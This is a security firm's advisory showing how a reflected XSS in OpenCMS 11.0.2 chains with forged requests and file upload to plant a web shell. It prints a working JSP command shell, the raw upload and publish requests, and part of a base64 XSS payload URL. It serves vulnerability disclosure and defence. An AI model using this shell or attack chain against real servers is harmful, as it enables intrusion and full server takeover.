Pentest Logo

Advisory

Leveraging XSS to get RCE in OpenCMS 11.0.2

Cross-Site Scripting to full compromise of OpenCMS


As part of our ongoing commitment to Open Source security, Pentest Ltd conducted a research project into OpenCMS version 11.0.2. This found ten (10) vulnerabilities as described in Multiple Vulnerabilities in OpenCMS 11.0.2. These have all been patched in the most recent release (12.0.0).

Two vulnerabilities could allow remote and unauthenticated attackers to compromise OpenCMS. This post covers how to use Cross Site Scripting to do so as demonstrated by the Video below:

What is Cross-Site Scripting (XSS)?

 

When an application is vulnerable to Cross-Site Scripting (XSS), it is often possible to leverage this vulnerability in a chained-attack. The most common example of this is leveraging Cross-Site Scripting to perform arbitrary forged requests on behalf of the victim. If the victim holds high privileges within an application, this can cause drastic damage. This damage will usually manifest in the form of privilege escalation, account take over, or even defacement of the website.

Forged requests could include changing the role of a low privileged user to a high privileged role, or accessing other functionality intended for use only by authenticated users. Another way forged requests can be used is in arbitrary file upload attacks. If such an issue exists, an attacker could force a high privileged user, usually an admin, to upload a file of the attackers choosing. The attacker could then browse to this file to achieve remote code execution. 

Details


OpenCMS 11.0.2 was vulnerable to an attack-chain leveraging XSS, request forgery, and arbitrary file uploads. By combining these vulnerabilities, it was possible to create a malicious link that, when visited by an admin, uploaded and published a web shell. This web shell could then be used to remotely gain access to the web server. Our research into OpenCMS discovered six separate XSS vulnerabilities and we have chosen one to demonstrate the risk.

1. Designing the Forged Requests / XSS Payload

 

The first step in creating this attack-chain was to design the XSS payload that would ultimately be delivered via a URL to the victim. Considering the goal of getting RCE, we must think like attackers to exploit the vulnerabilities discovered in a chain that will achieve our goal. In this case, we exploited an XSS and an arbitrary file upload issue to ultimately gain code execution on the server. JavaScript was developed that forged two requests, these are as follows: 

  • Request 1: Upload a Web Shell.
  • Request 2: “Directly Publish” the Web Shell.
Below are the details relating to each of these requests. 


Request 1: Upload a Web Shell:
 

The first request uploaded a file containing a web shell to the “/workplace” page. The following is the file upload request. The web shell payload (lines 10-32) and file name (line 37) have been highlighted: 

				
					POST /system/workplace/commons/uploadAction.jsp HTTP/1.1 
Host: 192.168.5.68 
[…] 
Connection: close 
 
------WebKitFormBoundaryz7KAAKltiJSJ0w6Y 
Content-Disposition: form-data; name="file_0"; filename="webshellpoc.jsp" 
Content-Type: application/octet-stream 
 
<%@ page import="java.util.*,java.io.*"%> 
<HTML><BODY> 
<FORM METHOD="GET" NAME="myform" ACTION=""> 
<INPUT TYPE="text" NAME="cmd"> 
<INPUT TYPE="submit" VALUE="Send"> 
</FORM> 
<pre> 
<% 
if (request.getParameter("cmd") != null) { 
        out.println("Command: " + request.getParameter("cmd") + "<BR>"); 
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); 
        OutputStream os = p.getOutputStream(); 
        InputStream in = p.getInputStream(); 
        DataInputStream dis = new DataInputStream(in); 
        String disr = dis.readLine(); 
        while ( disr != null ) { 
                out.println(disr);  
                disr = dis.readLine();  
                } 
        } 
%> 
</pre> 
</BODY></HTML> 
 
------WebKitFormBoundaryz7KAAKltiJSJ0w6Y 
Content-Disposition: form-data; name="file_0_filename_encoded" 
 
webshellpoc.jsp 
------WebKitFormBoundaryz7KAAKltiJSJ0w6Y 
Content-Disposition: form-data; name="upload_target_folder" 
 
/sites/default/ 
------WebKitFormBoundaryz7KAAKltiJSJ0w6Y 
Content-Disposition: form-data; name="isRootPath" 
 
true 
------WebKitFormBoundaryz7KAAKltiJSJ0w6Y-- 

				
			

After this request was sent, the script awaited the response. This was necessary because a UUID correlated to the uploaded file was returned within that response. That token was required in the upcoming request.  

				
					HTTP/1.1 200  
Server: OpenCms/11.0.2 
Last-Modified: Wed, 14 Jul 2021 20:08:39 GMT 
[…] 
Connection: close 
 
{"uploadedFiles":["474b29ba-e4df-11eb-a82a-0242ac120003"] […] 
				
			

After this UUID has been saved into a variable within the script, it is then used in a subsequent request to “Directly Publish” the uploaded web shell. This mimics the process the admin would usually take to publish a new page on the site. 

Request 2: “Direct Publish” the Uploaded Web Shell:

Following is the subsequent request to “Directly Publish” the uploaded web shell:

				
					POST /org.opencms.ade.publish.CmsPublishService.gwt HTTP/1.1 
Host: 192.168.5.68 
Content-Length: 461 
Accept: */* 
X-GWT-Module-Base: http://192.168.5.68/VAADIN/widgetsets/org.opencms.ui.WidgetSet/ 
X-GWT-Permutation: RANDOMVALUE 
[…] 
Connection: close 
 
7|0|11|http://192.168.5.68/VAADIN/widgetsets/org.opencms.ui.WidgetSet/|49F57690AA96F6F31AA1A2D7FCA327E5|org.opencms.ade.publish.shared.rpc.I_CmsPublishService|executeAction|org.opencms.ade.publish.shared.CmsWorkflowAction/1950547118|org.opencms.ade.publish.shared.CmsWorkflowActionParams/4026592960|publish|Publish|java.util.ArrayList/4159755760|org.opencms.util.CmsUUID/3079641644|474b29ba-e4df-11eb-a82a-0242ac120003|1|2|3|4|2|5|6|5|7|1|1|8|6|9|1|10|11|9|0|0| 
 


				
			

The first piece of highlighted information (lines 5 & 6) within the above request are two technology specific headers. They were necessary for the request to work, but do not provide any protection against request forgery. It was found that an arbitrary value could be sent with the “X-GWT-Permutation:” header without being rejected.

Line 10 shows the POST request’s body is the UUID received from the first request’s HTTP response. After this request was sent and processed, a web shell was accessible.

Crafting the Final URL


The final step in developing this attack-chain was to craft a malicious URL containing the XSS payload.

To craft the malicious URL, a Reflected XSS vulnerability was used.

As discussed earlier, the goal of the payload is to issue a series of forged request on behalf of the victim. If the victim is an authenticated administrator, then these requests will ultimately upload and publish a web shell available to unauthenticated users. Because an XSS vulnerability is leveraged to issue the forged requests, we do not have to worry about the Same Origin Policy obstructing the attack. Following is a snippet from the Proof-Of-Concept URL that contains the XSS payload:

				
					/system/modules/alkacon.mercury.template/elements/privacy-policy.jsp?
policy=Ly5jb250ZW50L3ByaXZhY3ktcG9saWN5LnhtbHMtLT48PGh0bWw%2bCiAgPCEtLSBDU1JGIFBvQyAtIGdlbmVyYXRlZCBieSBCdXJwIFN1aXRlIFByb2Zlc3Npb25hbCAtLT4KICA8Ym9keT4KICA8c2NyaXB0Pmhpc3RvcnkucHVzaFN0YXRlKCcnLCAnJywgJy8nKTwvc2NyaXB0PgogICAgPHNjcmlwdD4KICAgICAgZnVuY3Rpb24gc3VibWl0UHVibGlzaFJlcXVlc3QodXVpZCkKICAgICAgIHsKICAgICAgICB2YXIgeGhyID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CiAgICAgICAgeGhyLm9wZW4oIlBPU1QiLCAiaHR0cDpcL1wvMTkyLjE2OC41LjY4XC9vcmcub3BlbmNtcy5hZGUucHVibGlzaC5DbXNQdWJsaXNoU2VydmljZS5nd3QiLCB0cnVlKTsKICAgICAgICB4aHIuc2V0UmVxdWVzdEhlYWRlcigiQ29udGVudC1UeXBlIiwgInRleH  
--- SNIP --- 



				
			

Notice the large blob of base64 encoded data within the URL? That is the XSS payload. This XSS vulnerability required that the payload be base64 encoded for it to properly reflect the payload within the HTTP response.

When an admin clicked on this link their browser would append their valid session cookies resulting in deployment of the web shell.

Pentest Limited | Research | OpenCMS


Risk Analysis

Risk Category: Critical

CVSS: 8.8 (See more about scoring here)
Explanation: This attack-chain allowed a pathway for unauthenticated users to gain full control over the web application and its underlying server. Therefore, this issue has been placed in the risk category “Critical”. 

Recommendation

Patching vulnerabilities used in this attack-chain will be an effective mitigation. The specific root cause allowing this attack-chain was Cross-Site Scripting. Without access to one of these vulnerabilities, the attack-chain would be broken as the forged requests used within the payload are required to come from the same origin.

Affected Item(s)

OpenCMS 11.0.2

Looking for more than just a test provider?

Get in touch with our team and find out how our tailored services can provide you with the information security confidence you need.